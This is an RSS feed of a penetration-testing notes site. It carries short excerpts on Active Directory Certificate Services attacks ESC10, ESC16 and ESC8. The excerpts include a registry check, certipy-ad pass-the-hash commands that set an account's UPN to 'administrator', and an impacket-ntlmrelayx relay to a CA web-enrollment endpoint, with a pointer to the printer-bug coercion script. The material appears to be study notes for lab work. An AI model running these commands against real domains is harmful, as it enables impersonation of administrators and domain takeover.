<?xml version="1.0" encoding="utf-8" standalone="yes"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
  <channel>
    <title>SpellBook</title>
    <link>https://ag2s.ca/spellbook/8.-lateral-movement/adcs-attacks/</link>
    <description>Recent content on SpellBook</description>
    <generator>Hugo</generator>
    <language>en-us</language>
    <atom:link href="https://ag2s.ca/spellbook/8.-lateral-movement/adcs-attacks/index.xml" rel="self" type="application/rss+xml" />
    <item>
      <title></title>
      <link>https://ag2s.ca/spellbook/8.-lateral-movement/adcs-attacks/esc10/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://ag2s.ca/spellbook/8.-lateral-movement/adcs-attacks/esc10/</guid>
      <description>&lt;h1 id=&#34;esc10&#34;&gt;ESC10&lt;a class=&#34;anchor&#34; href=&#34;#esc10&#34;&gt;#&lt;/a&gt;&lt;/h1&gt;&#xA;&lt;p&gt;&lt;a href=&#34;https://research.ifcr.dk/certipy-4-0-esc9-esc10-bloodhound-gui-new-authentication-and-request-methods-and-more-7237d88061f7&#34;&gt;Resource&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Very hard to find. This is a misconfiguration &lt;strong&gt;on the ADCS server&lt;/strong&gt;, not on the certificate template. &lt;strong&gt;Need a shell on the DC&lt;/strong&gt; to check/enumerate&lt;/p&gt;&#xA;&lt;h2 id=&#34;case-2&#34;&gt;Case 2&lt;a class=&#34;anchor&#34; href=&#34;#case-2&#34;&gt;#&lt;/a&gt;&lt;/h2&gt;&#xA;&lt;p&gt;If this returns &lt;code&gt;0x4&lt;/code&gt;, we golden&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-cmd&#34; data-lang=&#34;cmd&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;reg query &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;HKLM\System\CurrentControlSet\Control\SecurityProviders\Schannel&amp;#34;&lt;/span&gt; /v &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;CertificateMappingMethods&amp;#34;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;First, let&amp;rsquo;s change the UPN of a user that we can write to. See &lt;a href=&#34;https://ag2s.ca/spellbook/8.-lateral-movement/ad-enumeration/writable-objects/&#34;&gt;Writable Objects&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;Change it to the &lt;code&gt;Domain Controller&lt;/code&gt; UPN, it is not a constraint violation since the &lt;code&gt;DC01$&lt;/code&gt; computer account does not have &lt;code&gt;userPrincipalName&lt;/code&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title></title>
      <link>https://ag2s.ca/spellbook/8.-lateral-movement/adcs-attacks/esc16/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://ag2s.ca/spellbook/8.-lateral-movement/adcs-attacks/esc16/</guid>
      <description>&lt;h1 id=&#34;esc16&#34;&gt;ESC16&lt;a class=&#34;anchor&#34; href=&#34;#esc16&#34;&gt;#&lt;/a&gt;&lt;/h1&gt;&#xA;&lt;blockquote class=&#39;book-hint &#39;&gt;&#xA;&lt;p&gt;idk how this works&lt;/p&gt;&#xA;&lt;/blockquote&gt;&lt;h2 id=&#34;change-upn&#34;&gt;Change upn&lt;a class=&#34;anchor&#34; href=&#34;#change-upn&#34;&gt;#&lt;/a&gt;&lt;/h2&gt;&#xA;&lt;p&gt;Change you upn to &lt;code&gt;administrator&lt;/code&gt;. Need &lt;code&gt;GenericWrite&lt;/code&gt; on yourself, or use another account to do this&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;certipy-ad account -u ca_svc -hashes &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&amp;#39;&lt;/span&gt; -dc-ip $target -user ca_svc -upn administrator update&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Normally, &lt;code&gt;Administrator&lt;/code&gt;&amp;rsquo;s upn is usually &lt;code&gt;Administrator&lt;/code&gt; or &lt;code&gt;Administrator@domain.name&lt;/code&gt;. If the above command does not work, add the &lt;code&gt;@domain.name&lt;/code&gt;&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;certipy-ad account -u ca_svc -hashes &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#39;:xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx&amp;#39;&lt;/span&gt; -dc-ip $target -user ca_svc -upn Administrator@domain.name update&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;h2 id=&#34;request-cert&#34;&gt;Request cert&lt;a class=&#34;anchor&#34; href=&#34;#request-cert&#34;&gt;#&lt;/a&gt;&lt;/h2&gt;&#xA;&lt;p&gt;Request your own certificate, with upn &lt;code&gt;Administrator&lt;/code&gt;&lt;/p&gt;</description>
    </item>
    <item>
      <title></title>
      <link>https://ag2s.ca/spellbook/8.-lateral-movement/adcs-attacks/esc8/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://ag2s.ca/spellbook/8.-lateral-movement/adcs-attacks/esc8/</guid>
      <description>&lt;h1 id=&#34;esc8&#34;&gt;ESC8&lt;a class=&#34;anchor&#34; href=&#34;#esc8&#34;&gt;#&lt;/a&gt;&lt;/h1&gt;&#xA;&lt;p&gt;This is the &lt;a href=&#34;https://www.specterops.io/assets/resources/Certified_Pre-Owned.pdf&#34;&gt;&lt;code&gt;ESC8&lt;/code&gt;&lt;/a&gt; attack. Basically the vulnerable part is that it has ADCS &lt;code&gt;HTTP&lt;/code&gt; endpoint.&lt;/p&gt;&#xA;&lt;p&gt;It is vulnerable to NTLM relay attack . Certificate authority web enrollment usually is at &lt;code&gt;/certsrv&lt;/code&gt;. Now we get the certificate from that CA.&lt;/p&gt;&#xA;&lt;p&gt;&lt;img src=&#34;https://ag2s.ca/spellbook/images/0088f156de07b09ffcb79c4ee07a3ae95e494148cacc7a262ca7cae1211a7f53.jpeg&#34; alt=&#34;&#34; /&gt;&lt;/p&gt;&#xA;&lt;h2 id=&#34;set-relay-server&#34;&gt;Set relay server&lt;a class=&#34;anchor&#34; href=&#34;#set-relay-server&#34;&gt;#&lt;/a&gt;&lt;/h2&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-sh&#34; data-lang=&#34;sh&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;impacket-ntlmrelayx -t http://ca01.inlanefreight.local/certsrv/ --adcs -smb2support --template KerberosAuthentication&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Use &lt;a href=&#34;https://github.com/dirkjanm/krbrelayx/blob/master/printerbug.py&#34;&gt;printer bug&lt;/a&gt; script to make the target machine authenticate to our machine. Our machine will then pass the authentication to the CA and get a cert.&lt;/p&gt;</description>
    </item>
  </channel>
</rss>
